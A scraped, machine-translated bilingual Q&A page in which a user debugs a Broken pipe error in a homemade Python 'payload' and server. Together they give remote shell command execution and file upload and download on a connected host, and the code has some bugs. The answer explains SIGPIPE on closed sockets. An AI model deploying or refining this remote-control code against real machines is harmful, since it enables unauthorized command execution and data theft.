简体   繁体   English

send()函数的管道错误

[英]Broken pipe Error on send() function

I need to make a small payload and server to download/upload or execute commands in the host computer. 我需要制作一个小的有效负载和服务器,以便在主机中下载/上传或执行命令。

Error : 错误:

Traceback (most recent call last):
  File "ServerCompletPAY.py", line 43, in <module>
    a.send(command)
BrokenPipeError: [Errno 32] Broken pipe

When I execute the files for the first time it works correctly, however when I type another command, then error is generated. 当我第一次执行文件时,它可以正常工作,但是当我键入另一个命令时,则会生成错误。

Server Code : 服务器代码:

import os
import socket

global opening_file
global name_file
global a
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.bind(("0.0.0.0",1111))
s.listen(5)
a,c = s.accept()
print ("[*] We Are Connected ")

def shell() :
    verbose = a.recv(102400)
    print (verbose.decode(),"\n","\n")

def download_from_client ():
    opening_file = open(name_file,"wb")
    opening_file.write(a.recv(102400))
    x.close()
    opening_file.close()    

def download_to_client ():
    opening_file = open(name_file,"rb")
    file_needed = opening_file.read()
    a.send(file_needed)
    a.close()
    opening_file.close()

def main():
    if first_word == "download":
        download_to_client ()
    elif first_word == "upload" :
        download_from_client()
    else :
        shell()

while True : 
    command = input("<Shell >")
    name_file = command.split("/")[-1]
    first_word = command.split(" ")[0]
    command = command.encode()
    a.send(command)
    main()

Client Code : 客户代码:

from subprocess import *
import os
import socket

def shell() :
    commandexe = Popen(commandrecv.encode(),stdout=PIPE,shell=True)
    comment = commandexe.communicate()[0]
    s.send(comment)

def download() :    
    file_name = commentrecv.split("/")[-1]
    opening_file = open(file_name,"rb")
    s.send(opening_file.read())
    opening_file.close()

def upload():
    file_name = commentrecv.split("/")[-1]
    opening_file = open(file_name,"wb")
    file_name.write(s.recv(102400).decode())
    file_name.close()

while True :
    global s
    global commandrecv

    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(("127.0.0.1",1111))
    commandrecv_encoded = s.recv(1024)
    commandrecv = commandrecv_encoded.decode()
    first_word = commandrecv.split(" ")[0] #to know if i need to upload or download

    if not commandrecv :
        break;
    else:
        if first_word == "download":
            download ()
        elif first_word == "upload" :
            upload()
        else :
            shell()

Thankyou in advance. 先感谢您。

I am Quoting this Answer , as it looks similar to your problem try this: 我正在引用此答案 ,因为它看起来与您的问题类似,请尝试以下操作:

Your server process has received a SIGPIPE writing to a socket. 您的服务器进程已收到SIGPIPE写入套接字。 This usually happens when you write to a socket fully closed on the other (client) side. 当您写入另一端(客户端)完全关闭的套接字时,通常会发生这种情况。 This might be happening when a client program doesn't wait till all the data from the server is received and simply closes a socket (using close function). 当客户端程序不等到接收到来自服务器的所有数据而只是关闭套接字(使用close函数)时,可能会发生这种情况。

In a C program you would normally try setting to ignore SIGPIPE signal or setting a dummy signal handler for it. 在C程序中,通常会尝试设置为忽略SIGPIPE信号或为其设置虚拟信号处理程序。 In this case a simple error will be returned when writing to a closed socket. 在这种情况下,写入关闭的套接字时将返回一个简单的错误。 In your case a python seems to throw an exception that can be handled as a premature disconnect of the client. 在您的情况下,Python似乎引发了异常,可以将其作为客户端的过早断开连接进行处理。

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM